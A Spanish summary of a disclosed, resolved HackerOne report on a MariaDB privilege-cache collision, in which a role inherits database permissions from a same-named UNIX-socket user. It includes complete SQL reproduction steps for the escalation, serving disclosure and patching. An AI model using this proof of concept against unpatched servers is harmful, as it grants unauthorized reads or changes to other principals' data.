Reports
MEDIA[AUTENTICACIÓN]#3889667

MariaDB: una colisión en la caché de privilegios permite a un rol heredar permisos de un usuario homónimo

La caché de privilegios de base de datos de MariaDB no distinguía entre un rol y un usuario conectado por socket UNIX con el mismo nombre, así que quien activaba el rol recibía los permisos del usuario.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

MariaDB guarda en caché los privilegios que un principal tiene sobre cada base de datos para no recalcularlos en cada consulta. El problema estaba en cómo se construía la clave de esa caché dentro de la función acl_get(): la clave se formaba solo con (ip, user, db), pero el resultado que se almacenaba dependía también del host, es decir, de (host, ip, user, db).

Eso provoca una colisión concreta. Un usuario que se conecta por socket UNIX tiene la IP vacía, y las consultas de privilegios de un rol usan valores sintéticos vacíos tanto para host como para IP. Si un rol y un usuario de socket comparten nombre, ambos generan exactamente la misma clave aunque sus permisos se resuelvan de forma distinta. Si el usuario llega primero y "calienta" la caché, cualquier cuenta que active después el rol homónimo recibe los privilegios del usuario, aunque nunca se concedieran al rol.

HackerOne lo clasificó como autenticación indebida genérica con severidad media. El reporte se envió el 25 de julio de 2026 y se divulgó el 7 de septiembre de 2026, ya resuelto.

Pasos de reproducción

Para que el fallo se manifieste tienen que darse cuatro condiciones:

  1. Existen un rol y un usuario accesible por socket UNIX con el mismo nombre.
  2. El usuario tiene privilegios sobre una base de datos que el rol no tiene.
  3. Otra cuenta tiene permiso para activar ese rol.
  4. El usuario de socket accede antes que nadie a la base de datos afectada, dejando su entrada en la caché.

1. Preparar el escenario como administrador. Se crea una base de datos con una fila de prueba, un rol vhcollision, un usuario local con el mismo nombre al que se le da SELECT sobre esa base de datos, y una tercera cuenta a la que solo se le concede el rol:

CREATE DATABASE vhrole;
CREATE TABLE vhrole.secret(marker VARCHAR(40));
INSERT INTO vhrole.secret VALUES ('role-cache-collision-row');

CREATE ROLE vhcollision;
CREATE USER 'vhcollision'@'localhost'
  IDENTIFIED BY '[REDACTADO]';
CREATE USER 'vhholder'@'127.0.0.1'
  IDENTIFIED BY '[REDACTADO]';

GRANT SELECT ON vhrole.* TO 'vhcollision'@'localhost';
GRANT vhcollision TO 'vhholder'@'127.0.0.1';
FLUSH PRIVILEGES;

Hay que fijarse en que el SELECT se concede únicamente a la cuenta 'vhcollision'@'localhost', no al rol vhcollision.

2. Calentar la caché. Conectarse como el usuario vhcollision a través del socket UNIX y leer la tabla:

SELECT marker FROM vhrole.secret;

3. Aprovechar la colisión. Conectarse como [email protected], activar el rol y leer la misma tabla:

SET ROLE vhcollision;
SELECT CURRENT_ROLE;
SELECT marker FROM vhrole.secret;

Resultado obtenido. La consulta devuelve la fila:

vhcollision
role-cache-collision-row

Resultado esperado. El último SELECT debería fallar con un error de acceso denegado, porque el rol activo no tiene ningún privilegio sobre vhrole.

Impacto

Una cuenta con pocos privilegios, que solo puede activar un rol, termina con los privilegios de base de datos de otro principal distinto que casualmente tiene el mismo nombre. El alcance real depende de lo que se haya concedido a la cuenta con la que colisiona: según esos permisos, el atacante puede leer o modificar datos que están fuera de lo que tiene autorizado.